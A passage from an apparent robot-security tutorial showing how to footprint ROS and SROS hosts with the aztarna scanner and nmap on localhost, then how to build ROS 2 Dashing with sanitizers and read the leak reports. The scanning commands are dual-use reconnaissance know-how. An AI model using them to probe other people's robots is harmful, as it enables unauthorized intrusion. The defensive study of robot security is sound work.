    [+] ROS Host found at 127.0.0.1:11317
    [+] ROS Host found at 127.0.0.1:11311

    ```

Launches and scans reasonably fast:

```bash
    root@3c22d4bbf4e1:/# time aztarna -t ROS -p 11311-11320 -a 127.0.0.1
    ...
    real    0m0.687s
    user    0m0.620s
    sys 0m0.040s
    ```

More information about a particular ROS Host can be obtained with the -e flag:

```bash
    root@aa6b6d7f9bd3:/# aztarna -t ROS -p 11311 -a 127.0.0.1 -e
    [+] ROS Host found at 127.0.0.1:11311

    Node: /rosout XMLRPCUri: http://aa6b6d7f9bd3:39719

         Published topics:
             * /rosout_agg(Type: rosgraph_msgs/Log)

         Subscribed topics:
             * /rosout(Type: rosgraph_msgs/Log)

         Services:
             * /rosout/set_logger_level
             * /rosout/get_loggers

         CommunicationROS 0:
             - Publishers:
             - Topic: /rosout(Type: rosgraph_msgs/Log)
             - Subscribers:
                /rosout XMLRPCUri: http://aa6b6d7f9bd3:39719

         CommunicationROS 1:
             - Publishers:
                /rosout XMLRPCUri: http://aa6b6d7f9bd3:39719
             - Topic: /rosout_agg(Type: rosgraph_msgs/Log)
             - Subscribers:
    ```

Checking for all ROS instances in a machine

A simple way to check for ROS within a particular machine is to chain the aztarna tool with other common bash utilities:

```bash
    root@bc6af321d62e:/# nmap -p 1-65535 127.0.0.1 | grep open | awk '{print $1}' | sed "s*/tcp**" | sed "s/^/aztarna -t ROS -p /" | sed "s/$/ -a 127.0.0.1/" | bash
    [+] ROS Host found at 127.0.0.1:11311



    [+] ROS Host found at 127.0.0.1:11317



    [-] Error connecting to host 127.0.0.1:38069 -> Unknown error
        Not a ROS host
    [-] Error connecting to host 127.0.0.1:38793 -> Unknown error
        Not a ROS host
    [-] Error connecting to host 127.0.0.1:45665 -> <type 'exceptions.Exception'>:method "getSystemState" is not supported
        Not a ROS host
    [-] Error connecting to host 127.0.0.1:46499 -> <type 'exceptions.Exception'>:method "getSystemState" is not supported
        Not a ROS host
    [ERROR] [1543085503.685199009]: a header of over a gigabyte was predicted in tcpros. that seems highly unlikely, so I'll assume protocol synchronization is lost.
    [-] Error connecting to host 127.0.0.1:55905 -> None
        Not a ROS host
    [ERROR] [1543085504.415197656]: a header of over a gigabyte was predicted in tcpros. that seems highly unlikely, so I'll assume protocol synchronization is lost.
    [-] Error connecting to host 127.0.0.1:59939 -> None
        Not a ROS host

    ```

Resources

• [1] aztarna. Retrieved from https://github.com/aliasrobotics/aztarna.
• [2] Docker of ROS. Retrieved from https://hub.docker.com/_/ros/.

Footprinting Secure ROS systems

Following from the previous tutorial, in this one we’ll analyze secure ROS setups using the SROS package.

Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity_footprinting2:latest .

and runned with:

docker run --privileged -it basic_cybersecurity_footprinting2:latest

Understanding SROS

According to [5], SROS has three levels of concepts: the Transport Security level, the Access Control level, and the Process Profile level. These levels and concepts are summarized below and later sections go into each of these in greater detail.

[4] provides some additional intuition about each one of these levels.

Footprinting SROS systems

# Launching Keyserver
    sroskeyserver &
    # Launching the secure ROS Master
    sroscore &
    # Launch aztarna with the right options
    aztarna -t SROS -a 127.0.0.1
    Connecting to 127.0.0.1:11311
    [+] SROS host found!!!

Resources

• [1] aztarna. Retrieved from https://github.com/aliasrobotics/aztarna.
• [2] Docker of ROS. Retrieved from https://hub.docker.com/_/ros/.
• [3] SROS documentation. Retrieved from http://wiki.ros.org/SROS.
• [4] SROS tutorials. Retrieved from http://wiki.ros.org/SROS/Tutorials
• [4] SROS concepts. Retrieved from http://wiki.ros.org/SROS/Concepts

Robot vulnerabilities

Robot sanitizers in ROS 2 Dashing

Sanitizers are dynamic bug finding tools[1]. In this tutorial we’ll use some common and open source sanitizers over the ROS 2 codebase. In particular, by reproducing previously available results[2,3], we’ll review the security status of ROS 2 Dashing Diademata.

The first few sections provide a walkthrough on the attempt to make things run in OS X. The sections that follow automate the process through a Docker container.

OS X

# mixins are configuration files used to compile ROS 2 easily
    pip3 install colcon-mixin
    colcon mixin add default https://raw.githubusercontent.com/colcon/colcon-mixin-repository/master/index.yaml
    colcon mixin update default
    
    # Create workspace
    mkdir -p ~/ros2_asan_ws/src
    cd ~/ros2_asan_ws
    
    # colcon-santizer-reports for analyzing ROS 2
    #   a plugin for colcon test that parses sanitizer issues 
    #   from stdout/stderr, deduplicates the issues, and outputs them to a CSV.
    git clone https://github.com/colcon/colcon-sanitizer-reports.git
    cd colcon-sanitizer-reports
    sudo python3 setup.py install
    
    # setup ccache to speed-up dev. process
    #  speeds up recompilation by caching the result of previous compilations 
    #  and detecting when the same compilation is being done again
    #  https://github.com/ccache/ccache
    brew install ccache
    ccache -M 20G # increase cache size
    # # Add the following to your .bashrc or .zshrc file and restart your terminal:
    # echo 'export CC=/usr/lib/ccache/gcc' >> ~/.bash_profile
    # echo 'export CXX=/usr/lib/ccache/g++' >> ~/.bash_profile
    export PATH="/usr/local/opt/ccache/libexec:$PATH" >> ~/.bash_profile
    
    # Fetch ROS 2 Dashing code (at the time of writing, it's the lastest release)
    wget https://raw.githubusercontent.com/ros2/ros2/release-latest/ros2.repos
    # wget https://raw.githubusercontent.com/ros2/ros2/master/ros2.repos # fetch latest status of the code instead
    vcs import src < ros2.repos
    
    # Ignore a bunch of packages that aren't intentended to be tested
    touch src/ros2/common_interfaces/actionlib_msgs/COLCON_IGNORE
    touch src/ros2/common_interfaces/common_interfaces/COLCON_IGNORE
    touch src/ros2/rosidl_typesupport_opensplice/opensplice_cmake_module/COLCON_IGNORE
    touch src/ros2/rmw_fastrtps/rmw_fastrtps_dynamic_cpp/COLCON_IGNORE
    touch src/ros2/rmw_opensplice/rmw_opensplice_cpp/COLCON_IGNORE
    touch src/ros2/ros1_bridge/COLCON_IGNORE
    touch src/ros2/rosidl_typesupport_opensplice/rosidl_typesupport_opensplice_c/COLCON_IGNORE
    touch src/ros2/rosidl_typesupport_opensplice/rosidl_typesupport_opensplice_cpp/COLCON_IGNORE
    touch src/ros2/common_interfaces/shape_msgs/COLCON_IGNORE
    touch src/ros2/common_interfaces/stereo_msgs/COLCON_IGNORE
    touch src/ros2/common_interfaces/trajectory_msgs/COLCON_IGNORE

# Get last version of FastRTPS
    cd src/eProsima/Fast-RTPS/
    git checkout master
    git pull
    
    # Install openssl
    brew install openssl
    
    # Env variables to compile from source in OS X
    export CMAKE_PREFIX_PATH=$CMAKE_PREFIX_PATH:/usr/local/opt/qt
    export PATH=$PATH:/usr/local/opt/qt/bin
    export OPENSSL_ROOT_DIR=`brew --prefix openssl`
    
    # Compile code 
    colcon build --build-base=build-asan --install-base=install-asan \
        --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON \
                     -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli \
                     -DCMAKE_BUILD_TYPE=Debug \
        --mixin asan-gcc \
        --packages-up-to test_communication \
        --symlink-install

colcon test --build-base=build-asan --install-base=install-asan \
        --event-handlers sanitizer_report+ --packages-up-to test_communication

# Build the code with tsan
    colcon build --build-base=build-tsan --install-base=install-tsan \
        --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON \
                     -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli \
                     -DCMAKE_BUILD_TYPE=Debug \
        --mixin tsan \
        --packages-up-to test_communication \
        --symlink-install
    
    # Run the tests
    colcon test --build-base=build-tsan --install-base=install-tsan \
        --event-handlers sanitizer_report+ --packages-up-to test_communication

--- stderr: fastrtps
    Undefined symbols for architecture x86_64:
      "_DH_get_2048_256", referenced from:
          generate_dh_key(int, eprosima::fastrtps::rtps::security::SecurityException&) in PKIDH.cpp.o
          generate_dh_peer_key(std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&, eprosima::fastrtps::rtps::security::SecurityException&, int) in PKIDH.cpp.o
      "_X509_get0_signature", referenced from:
          get_signature_algorithm(x509_st*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&, eprosima::fastrtps::rtps::security::SecurityException&) in PKIDH.cpp.o
          get_signature_algorithm(x509_st*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&, eprosima::fastrtps::rtps::security::SecurityException&) in Permissions.cpp.o
    ld: symbol(s) not found for architecture x86_64
    clang: error: linker command failed with exit code 1 (use -v to see invocation)
    make[2]: *** [src/cpp/libfastrtps.1.8.0.dylib] Error 1
    make[1]: *** [src/cpp/CMakeFiles/fastrtps.dir/all] Error 2
    make: *** [all] Error 2
    ---
    Failed   <<< fastrtps   [ Exited with code 2 ]

...
    --
    log/latest_test/test_communication/stdout.log:21: [test_subscriber-12] ==3301==ERROR: Interceptors are not working. This may be because AddressSanitizer is loaded too late (e.g. via dlopen). Please launch the executable with:
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-12] DYLD_INSERT_LIBRARIES=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/10.0.1/lib/darwin/libclang_rt.asan_osx_dynamic.dylib
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-12] "interceptors not installed" && 0
    log/latest_test/test_communication/stdout.log-21: [ERROR] [test_subscriber-12]: process has died [pid 3301, exit code -6, cmd '/usr/local/opt/python/bin/python3.7 /Users/victor/ros2_asan_ws/src/ros2/system_tests/test_communication/test/subscriber_py.py Defaults /test_time_15_20_17'].
    --
    log/latest_test/test_communication/stdout.log:21: [test_subscriber-14] ==3303==ERROR: Interceptors are not working. This may be because AddressSanitizer is loaded too late (e.g. via dlopen). Please launch the executable with:
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-14] DYLD_INSERT_LIBRARIES=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/10.0.1/lib/darwin/libclang_rt.asan_osx_dynamic.dylib
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-14] "interceptors not installed" && 0
    log/latest_test/test_communication/stdout.log-21: [ERROR] [test_subscriber-14]: process has died [pid 3303, exit code -6, cmd '/usr/local/opt/python/bin/python3.7 /Users/victor/ros2_asan_ws/src/ros2/system_tests/test_communication/test/subscriber_py.py Empty /test_time_15_20_17'].
    --
    log/latest_test/test_communication/stdout.log:21: [test_subscriber-16] ==3305==ERROR: Interceptors are not working. This may be because AddressSanitizer is loaded too late (e.g. via dlopen). Please launch the executable with:
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-16] DYLD_INSERT_LIBRARIES=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/10.0.1/lib/darwin/libclang_rt.asan_osx_dynamic.dylib
    log/latest_test/test_communication/stdout.log-21: [test_subscriber-16] "interceptors not installed" && 0
    log/latest_test/test_communication/stdout.log-21: [ERROR] [test_subscriber-16]: process has died [pid 3305, exit code -6, cmd '/usr/local/opt/python/bin/python3.7 /Users/victor/ros2_asan_ws/src/ros2/system_tests/test_communication/test/subscriber_py.py MultiNested /test_time_15_20_18'].
    --

DYLD_INSERT_LIBRARIES=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/10.0.1/lib/darwin/libclang_rt.asan_osx_dynamic.dylib

Docker

docker build -t basic_cybersecurity_vulnerabilities1:latest .
    docker run --privileged -it -v /tmp/log:/opt/ros2_asan_ws/log basic_cybersecurity_vulnerabilities1:latest /bin/bash

and now run the tests:

colcon test --build-base=build-asan --install-base=install-asan \
      --event-handlers sanitizer_report+ --packages-up-to test_communication

results are under /tmp/log.

Analyzing results

Analyzing example

I’ll try and analyze here the example provided at https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst before jumping into a new one to gain additional understanding:

It appears that ASan detected memory leaks in the rcpputils module:

grep -R '==.*==ERROR: .*Sanitizer' -A 3
    [..]
    --
    rcpputils/stdout_stderr.log:1: ==32481==ERROR: LeakSanitizer: detected memory leaks
    rcpputils/stdout_stderr.log-1:
    rcpputils/stdout_stderr.log-1: Direct leak of 4 byte(s) in 1 object(s) allocated from:
    rcpputils/stdout_stderr.log-1:     #0 0x7f7d99dac458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)

Particularly, it appears that the leaks are as follows:

Direct leak of 4 byte(s) in 1 object(s) allocated from:
        #0 0x7fbefcd0b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
        #1 0x5620b4c650a9 in FakeGuarded::FakeGuarded() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x190a9)
        #2 0x5620b4c63444 in **test_tsa_shared_capability_Test**::TestBody() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x17444)
        #3 0x5620b4cdc4fd in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x904fd)
        #4 0x5620b4cce1e7 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x821e7)
        #5 0x5620b4c79f0f in testing::Test::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2df0f)
        #6 0x5620b4c7b33a in testing::TestInfo::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2f33a)
        #7 0x5620b4c7bede in testing::TestCase::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2fede)
        #8 0x5620b4c96fef in testing::internal::UnitTestImpl::RunAllTests() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x4afef)
        #9 0x5620b4cdefb0 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x92fb0)
        #10 0x5620b4cd04b0 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x844b0)
        #11 0x5620b4c93d83 in testing::UnitTest::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x47d83)
        #12 0x5620b4c672d2 in RUN_ALL_TESTS() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b2d2)
        #13 0x5620b4c67218 in main (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b218)
        #14 0x7fbefc09bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    
    Direct leak of 4 byte(s) in 1 object(s) allocated from:
        #0 0x7fbefcd0b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
        #1 0x5620b4c650a9 in FakeGuarded::FakeGuarded() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x190a9)
        #2 0x5620b4c62d4b in **test_tsa_capability_Test**::TestBody() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x16d4b)
        #3 0x5620b4cdc4fd in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x904fd)
        #4 0x5620b4cce1e7 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x821e7)
        #5 0x5620b4c79f0f in testing::Test::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2df0f)
        #6 0x5620b4c7b33a in testing::TestInfo::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2f33a)
        #7 0x5620b4c7bede in testing::TestCase::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2fede)
        #8 0x5620b4c96fef in testing::internal::UnitTestImpl::RunAllTests() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x4afef)
        #9 0x5620b4cdefb0 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x92fb0)
        #10 0x5620b4cd04b0 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x844b0)
        #11 0x5620b4c93d83 in testing::UnitTest::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x47d83)
        #12 0x5620b4c672d2 in RUN_ALL_TESTS() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b2d2)
        #13 0x5620b4c67218 in main (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b218)
        #14 0x7fbefc09bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

Inspecting the dumps, there seems to be an issue in test_basic related to FakeGuarded::FakeGuarded(). In particular, this line wasn’t necessary and was replaced by a destructor instead.

Processing new bugs

Let’s now analyze a new bug and try to reason about it. Let’s take the first the sanitizer_report.csv generated and from it, the first item (dumped at sanitizer_report_ros2dashing_asan.csv):

rcl,detected memory leaks,__default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56,2,
     "#0 0x7f1475ca7d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
      #1 0x7f14753f34d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
      #2 0x7f1475405e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
      #3 0x7f14751e4b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
      #4 0x7f1472cda362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char,
        std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
      #5 0x7f1472cdcc4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*,
        rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
      #6 0x7f1472cdd0d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*,
        rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
      #7 0x7f14756a11eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
      #8 0x7f14759669b5 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
      #9 0x55d928637fdd in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() 
        /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
      #10 0x55d9286f0105 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, 
        void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
      #11 0x55d9286e2259 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, 
        void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
      #12 0x55d92868ed41 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
      #13 0x55d92869016c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
      #14 0x55d928690d10 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
      #15 0x55d9286abe21 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/
        gtest_vendor/./src/gtest.cc:5216
      #16 0x55d9286f2bb8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, 
        bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
      #17 0x55d9286e4522 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl,
       bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
      #18 0x55d9286a8bb5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
      #19 0x55d92867c104 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
      #20 0x55d92867c04a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
      #21 0x7f1474449b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)"

When browsing through ros2_asan_ws/log/latest_test, we can find a similar report under rcl (in the rcl/stdout_stderr.log file):

14: Direct leak of 8 byte(s) in 1 object(s) allocated from:
    14:     #0 0x7f1475ca7d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
    14:     #1 0x7f14753f34d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
    14:     #2 0x7f1475405e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
    14:     #3 0x7f14751e4b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
    14:     #4 0x7f1472cda362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
    14:     #5 0x7f1472cdcc4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
    14:     #6 0x7f1472cdd0d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
    14:     #7 0x7f14756a11eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
    14:     #8 0x7f14759669b5 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
    14:     #9 0x55d928637fdd in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
    14:     #10 0x55d9286f0105 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    14:     #11 0x55d9286e2259 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    14:     #12 0x55d92868ed41 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
    14:     #13 0x55d92869016c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
    14:     #14 0x55d928690d10 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
    14:     #15 0x55d9286abe21 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
    14:     #16 0x55d9286f2bb8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    14:     #17 0x55d9286e4522 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    14:     #18 0x55d9286a8bb5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
    14:     #19 0x55d92867c104 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
    14:     #20 0x55d92867c04a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
    14:     #21 0x7f1474449b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

which means that the corresponding test that triggers this memory leak lives within build-asan/rcl. Reviewing stack and the directory, it’s fairly easy to find that test_graph__rmw_fastrtps_cpp is the test that triggers this error https://gist.github.com/vmayoral/44214f6290a6647e606d716d8fe2ca68.

According to ASan documentation [8]:

LSan also differentiates between direct and indirect leaks in its output. This gives useful information about which leaks should be prioritized, because fixing the direct leaks is likely to fix the indirect ones as well.

which tells us where to focus first. Direct leaks from this first report are:

Direct leak of 56 byte(s) in 1 object(s) allocated from:
        #0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
